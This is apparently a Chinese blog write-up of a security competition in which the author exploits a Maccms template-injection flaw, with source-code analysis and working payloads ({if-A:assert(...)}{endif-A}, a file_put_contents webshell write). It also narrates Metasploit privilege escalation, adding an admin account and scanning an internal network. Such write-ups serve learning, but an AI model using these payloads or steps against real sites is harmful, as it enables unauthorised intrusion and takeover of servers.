铁三web回忆录

首发secquan
点我加入secquan

0x00 前言

今年的铁三是分赛区的,我们赛区是最后一个,我也预习了下功课,有备无患嘛,分为数据分析赛,个人赛(PWN),企业赛(内网渗透)。
我是负责web,然后网上找了些资料和问了问朋友们,基本了解了下流程。给你一个cms进入内网,然后再攻击内网,谁知道,太坑了,华东赛区的内网环境是真的对我们太好了。

0x01 获得权限

比赛平台给了一个入口ip,2开头的,我特喵以为是外网,后面发现是内网的ip,对常见的敏感了,emmm。
打开web页面,是一个cms,

file

Maccms,找了一个最近的exp。
http://0day5.com/archives/4383/
比赛时只在乎结果,平时就要在乎过程。
本地搭建一下
file

我理解poc的方式是将poc代入,进行分析。

poc:http://127.0.0.1/maccms/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A}

index.php:

location.href=\'install.php\';';exit; }
    define('MAC_MODULE','home');
    require("inc/conn.php");
    require(MAC_ROOT.'/inc/common/360_safe3.php');
    $m = be('get','m');
    if(strpos($m,'.')){ $m = substr($m,0,strpos($m,'.')); }
    $par = explode('-',$m);
    $parlen = count($par);
    $ac = $par[0];
    
    if(empty($ac)){ $ac='vod'; $method='index'; }
    
    $colnum = array("id","pg","year","typeid","class","classid");
    if($parlen>=2){
        $method = $par[1];
         for($i=2;$i<$parlen;$i+=2){
            $tpl->P[$par[$i]] = in_array($par[$i],$colnum) ? intval($par[$i+1]) : urldecode($par[$i+1]);
        }
    }
    if($tpl->P['pg']<1){ $tpl->P['pg']=1; }
    if(!empty($tpl->P['cp'])){ $tpl->P['cp']=''; }
        
    unset($colnum);
    $acs = array('vod','art','map','user','gbook','comment','label');
    
    if(in_array($ac,$acs)){
        $tpl->P["module"] = $ac;
        include MAC_ROOT.'/inc/module/'.$ac.'.php';
    }
    else{
        showErr('System','未找到指定系统模块');
    }
    unset($par);
    unset($acs);
    $tpl->ifex();
    if(!empty($tpl->P['cp'])){ setPageCache($tpl->P['cp'],$tpl->P['cn'],$tpl->H); }
    $tpl->run();
    echo $tpl->H;
?>

be函数:


file
function be($mode,$key,$sp=',')
{
    ini_set("magic_quotes_runtime", 0);
    $magicq= get_magic_quotes_gpc();
    switch($mode)
    {
        case 'post':
            $res=isset($_POST[$key]) ? $magicq?$_POST[$key]:@addslashes($_POST[$key]) : '';
            break;
        case 'get':
            $res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';
            break;
        case 'arr':
            $arr =isset($_POST[$key]) ? $_POST[$key] : '';
            if($arr==""){
                $value="0";
            }
            else{
                for($i=0;$i

对传入的值过滤:

case 'get':
            $res=isset($_GET[$key]) ? $magicq?$_GET[$key]:@addslashes($_GET[$key]) : '';

但是这里m=vod-search并没有什么非法string,return回来。
$par = explode('-',$m);
然后explode函数处理,用-分开。

$parlen = count($par);
    $ac = $par[0];

那么$ac最终等于vod
继续跟

$acs = array('vod','art','map','user','gbook','comment','label');
   
   if(in_array($ac,$acs)){
       $tpl->P["module"] = $ac;
       include MAC_ROOT.'/inc/module/'.$ac.'.php';
   }
   else{
       showErr('System','未找到指定系统模块');
   }

包含`/inc/module/vod.php

 $tpl->P["siteaid"] = 15;
    $wd = be("all", "wd");
    if(!empty($wd)){ $tpl->P["wd"] = $wd; }

获得了wd的值。

下面执行到$tpl->ifex();
跟进:

file
    function ifex()
    {
        if (!strpos(",".$this->H,"{if-")) { return; }
        $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
        preg_match_all($labelRule,$this->H,$iar);
        
        $arlen=count($iar[2]);

$this->H方法

file

绕过strpos函数的话传进去的就得带{if-,
preg_match_all($labelRule,$this->H,$iar);
file

把匹配到的输出到$iar
下面就是一个循环遍历

for($m=0;$m<$arlen;$m++){
            $strn = $iar[1][$m];
            $strif= asp2phpif( $iar[2][$m] ) ;
            $strThen= $iar[3][$m];
            $elseifFlag=false;
            
            $labelRule2="{elseif-".$strn."";
            $labelRule3="{else-".$strn."}";
file

上面的一堆限制。。。
下面的这个。

@eval("if($strif){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen1,$this->H);} else {$this->H=str_replace($iar[0][$m],$strElse1,$this->H);}

wd的值怎么设置才能执行eval呢?
要是这样的形式
{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}
开头那个正则。
所以:
wd={if-C:phpinfo()}{endif-A}
本地演练一下

$test_str= "wd={if-C:phpinfo()}{endif-A}";
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$test_str,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
            $strn = $iar[1][$m];
            $strif= asp2phpif( $iar[2][$m] ) ;
            }

没按xdebug。不好调试。
本地测试代码:

","!=",$str);
    $str= str_replace("and","&&",$str);
    $str= str_replace("or","||",$str);
    $str= str_replace("mod","%",$str);
    return $str;
}
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$test_str,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
            $strn = $iar[1][$m];
            $strif= asp2phpif( $iar[2][$m] ) ;
            echo $strif;
            }
 ?>

file

ojbk
然后exp就是
{if-A:assert($_POST[wing]);{endif-A}
下面写shell,phpinfo得知路径:c://phpstudy/www/
wing=file_put_contents('c://phpstudy/www/wing.php','')

file

这里连接shell就应该直接菜刀的,我用了antsword。
上传大马跟我说没权限。。。


file

但是可以新建txt
我就把txt改成大马。


file

这里我就可以上传,为啥antsword不行,换菜刀就可以。这里老铁们解惑一下。

0x02 内网

whoami。
ge的低权限用户。
提权呗,下意识以为是03服务器。。
exp都搞错了。
systeminfo显示是win10,拿win10做服务器。。。
打了两个补丁。17年的,比较新。
这里踩坑了好久,提权提半天。。
浪费将近50多分钟。

后面msf不是没试嘛,我kali的网卡没设好,重置后就可以访问目标web服务器。
前面我用pentestbox也收到了shell。试了下getsystem。结果,就成了。


file

这又是啥原理。
读密码。不行,是空密码。


file

加用户,进3389吧。
pentestbox进目标shell进不了。
kali msf添加管理员进了之后。
我就傻逼了。
鼠标动都动不了。查信息发现2g内存。
太穷了点。你根本看不到鼠标在哪里。我就呵呵了。
凭感觉。找flag啊。数据库禁止外连的。本地用PHpstudy查了,没有。
本电脑搜索flag,有一个。对了,第一个是在web根目录。

file

一开始啊,我tm还想着撸穿内网,现在觉得就是脑残。
msf添加路由,本地nmap扫一下
nmap -PN -p 192.168.1.0/24
发现了三个web服务器,只开了22,80端口,全是linux。

第一个web:
192.168.1.4 metlinfo5.3.17
第二个web 
192.168.1.56 jymusic 1.x
第三个web
192.168.1.57 测试sql注入(安全狗,云锁)

web1


file

找了注入exp,却不行。
后台弱口令也试了。
大家会玩的几个队都是三百分,内网web大家都没做出来。因为源码被瞎改了。
web2


file

详细信息的就有一个上传getshell的。
但是注册页面没有啊,什么功能也没有。

比赛结束时内网的题目淮理工大佬做出了这个,
说是fuzz上传。。。记不太清了,页面删了,可能保存了那个功能吧。
反正是盯了一天。
后面大家都去做数据赛了。

web3
给了个id参数,sql注入,但是加了安全狗和云锁。
安全狗可以过,云锁我就无语了。
order by拦截。
期待大佬们出个同时过两个或者两个waf的文章。


file

0x03 总结

比赛很不舒服,内网一个都没拿下来,都没啥成就感,感觉白走了一遭。一首凉凉总给自己,虽然大家都没做出来,但是自己要承认自己菜的事实。
别灰心,人生就是这样起起落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落落的。
生活不止眼前的苟且,还有从前的和以后的。
当你觉得很困难,又不想改进时,请放心,明天会更困难的。

你可能感兴趣的:(铁三web回忆录)